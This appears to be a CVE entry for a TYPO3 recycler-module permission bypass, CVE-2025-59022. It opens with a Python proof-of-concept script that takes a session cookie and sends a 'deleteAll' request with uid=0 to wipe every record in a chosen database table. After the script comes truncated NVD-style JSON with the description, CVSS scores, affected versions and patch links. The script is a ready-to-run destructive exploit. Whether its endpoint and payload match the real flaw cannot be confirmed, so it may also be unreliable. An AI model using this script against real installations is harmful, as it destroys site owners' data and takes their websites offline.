CVE-2025-59022

# CVE-2025-59022 PoC - TYPO3 Recycler Module Unauthorized Data Deletion # This PoC demonstrates the permission bypass vulnerability in TYPO3 CMS recycler module import requests import sys def exploit_typo3_cve_2025_59022(target_url, session_cookie, table_name): """ Exploit CVE-2025-59022: TYPO3 Recycler Module Permission Bypass Args: target_url: Base URL of the TYPO3 installation session_cookie: Valid backend session cookie table_name: Name of the TCA-defined table to delete from Note: This PoC is for educational and authorized testing purposes only. """ # Target endpoint for recycler module actions exploit_url = f"{target_url}/typo3/index.php?route=/ajax/record/process" headers = { 'Cookie': f'typo3-login-cookie={session_cookie}', 'X-Requested-With': 'XMLHttpRequest', 'Content-Type': 'application/x-www-form-urlencoded' } # Malicious payload that exploits the permission bypass # The recycler module accepts table names and performs delete without proper authorization payload = { 'table': table_name, 'action': 'deleteAll', 'uid': '0' # uid=0 triggers delete for all records } print(f"[*] Target: {target_url}") print(f"[*] Attempting to delete all records from table: {table_name}") try: response = requests.post(exploit_url, data=payload, headers=headers, timeout=30) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[*] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == '__main__': if len(sys.argv) < 4: print("Usage: python cve-2025-59022.py <target_url> <session_cookie> <table_name>") print("Example: python cve-2025-59022.py http://target.com 'sess_hash' 'tt_content'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] table = sys.argv[3] exploit_typo3_cve_2025_59022(target, cookie, table)

{"cve": {"id": "CVE-2025-59022", "sourceIdentifier": "f4fb688c-4412-4426-b4b8-421ecf27b14a", "published": "2026-01-13T12:15:50.237", "lastModified": "2026-01-14T19:07:07.353", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Backend users who had access to the recycler module could delete arbitrary data from any database table defined in the TCA - regardless of whether they had permission to that particular table. This allowed attackers to purge and destroy critical site data, effectively rendering the website unavailable. This issue affects TYPO3 CMS versions 10.0.0-10.4.54, 11.0.0-11.5.48, 12.0.0-12.4.40, 13.0.0-13.4.22 and 14.0.0-14.0.1."}, {"lang": "es", "value": "Los usuarios de backend que tenían acceso al módulo de reciclador podían eliminar datos arbitrarios de cualquier tabla de base de datos definida en el TCA - independientemente de si tenían permiso para esa tabla en particular. Esto permitía a los atacantes purgar y destruir datos críticos del sitio, dejando el sitio web efectivamente no disponible. Este problema afecta a las versiones de TYPO3 CMS 10.0.0-10.4.54, 11.0.0-11.5.48, 12.0.0-12.4.40, 13.0.0-13.4.22 y 14.0.0-14.0.1."}], "metrics": {"cvssMetricV40": [{"source": "f4fb688c-4412-4426-b4b8-421ecf27b14a", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "f4fb688c-4412-4426-b4b8-421ecf27b14a", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.0.0", "versionEndExcluding": "10.4.55", "matchCriteriaId": "1F66D2E5-38C1-4708-BBEA-6963B2AFEA8B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0", "versionEndExcluding": "11.5.49", "matchCriteriaId": "9E718BBF-B384-4223-A53D-528F77E17DC2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.0.0", "versionEndExcluding": "12.4.41", "matchCriteriaId": "D330992D-8C99-458A-A139-47407B4BBB66"}, {"vulnerable": true, "criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.0.0", "versionEndExcluding": "13.4.23", "matchCriteriaId": "AA2179C6-E438-4413-A717-9112618BA6CF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0.0", "versionEndExcluding": "14.0.2", "matchCriteriaId": "310C5FCB-6F96-4409-BB9A-E582E18E067A"}]}]}], "references": [{"url": "https://github.com/TYPO3/typo3/commit/336d6f165458a0ce32d8330999ab9ab6a5983d20", "source": "f4fb688c-4412-4426-b4b8-421ecf27b14a", "tags": ["Patch"]}, {"url": "https://github.com/TYPO3/typo3/commit/a6604db66499710f72ae6e7006beb14ad0913aae", "source": "f4fb688c-4412-4426-b4b8-421ecf27b14a", "tags": ["Patch"]}, {"url": "https://github.com/TYPO3/typo3/commit/efb9528f9882ac924c40598ebd8508479e9950a3", "source": "f4fb688c-4412-4426-b4b8-421ecf27b14a", "tags": ["Patch"]}, {"url": "https://typo3. ... (truncated)